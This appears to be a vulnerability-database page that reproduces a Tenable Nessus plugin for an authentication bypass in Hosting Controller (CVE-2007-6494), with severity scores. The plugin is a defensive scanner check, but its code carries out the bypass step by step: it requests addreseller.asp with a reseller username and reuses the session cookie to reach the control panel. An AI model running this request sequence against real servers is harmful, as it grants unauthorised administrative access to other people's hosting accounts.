Lucene search

K
nessusThis script is Copyright (C) 2008-2022 Tenable Network Security, Inc.HOSTING_CONTROLLER_AUTH_BYPASS.NASL
HistoryFeb 27, 2008 - 12:00 a.m.

Hosting Controller hosting/addreseller.asp reseller Parameter Authentication Bypass

2008-02-2700:00:00
This script is Copyright (C) 2008-2022 Tenable Network Security, Inc.
www.tenable.com
15

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

EPSS

0.011

Percentile

84.7%

The version of Hosting Controller installed on the remote host allows a remote attacker to bypass authentication and gain access to an arbitrary user’s control panel, including as an administrator.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(31191);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2007-6494");
  script_bugtraq_id(26862);
  script_xref(name:"EDB-ID", value:"4730");
  script_xref(name:"SECUNIA", value:"28973");

  script_name(english:"Hosting Controller hosting/addreseller.asp reseller Parameter Authentication Bypass");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains an ASP application that allows a remote
attacker to bypass authentication.");
  script_set_attribute(attribute:"description", value:
"The version of Hosting Controller installed on the remote host allows
a remote attacker to bypass authentication and gain access to an
arbitrary user's control panel, including as an administrator.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2007/Dec/169");
  # https://hostingcontroller.com/english/logs/Post-Hotfix-3_3-sec-Patch-ReleaseNotes.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?1576fa70");
  script_set_attribute(attribute:"solution", value:
"Apply the Post Hotfix 3.3 Security Patch.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(20);

  script_set_attribute(attribute:"plugin_publication_date", value:"2008/02/27");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2022 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl");
  script_require_keys("www/ASP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 8077);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:8077);
if (!can_host_asp(port:port)) exit(0);


# Name of a user to authenticate as.
#username = "hcadmin";                  # should work
username = "resadmin";


# Loop through various directories.
if (thorough_tests) dirs = list_uniq("/hc", "/hosting_controller", cgi_dirs());
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  init_cookiejar();
  r = http_send_recv3(method: "GET", 
    item:string(dir, "/hosting/addreseller.asp?reseller=", username),
    port:port
  );
  if (isnull(r)) exit(0);

  if (
    "ActionType=AddUser" >< r[2] &&
    "Set-Cookie: " >< r[1]
  )
  cookies = get_http_cookies_names(name_regex: '^ASPSESSIONID.+');
  if (isnull(cookies) || max_index(cookies) == 0)
    {
        debug_print("couldn't find the cookie!\n");
    }
  else
    {
      postdata = string(
        "TemplateSkin=PanelXP/Blue"
      );
      r = http_send_recv3(
        method:"POST", 
        version: 11,
        item:"/AdminSettings/displays.asp?DecideAction=1&ChangeSkin=1", 
        port:port,
        data:postdata,
        add_headers:make_array("Content-Type", "application/x-www-form-urlencoded")
      );
      if (isnull(r)) exit(0);
      r = http_send_recv3(method: "GET", item:string(dir, "/Contents.asp"), port:port);
      if (isnull(r)) exit(0);

      # There's a problem if we now have access to the user's control panel.
      if ("accounts/dsp_profile.asp" >< r[2])
      {
        security_hole(port);
        exit(0);
      }
    }
}

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

EPSS

0.011

Percentile

84.7%

Related for HOSTING_CONTROLLER_AUTH_BYPASS.NASL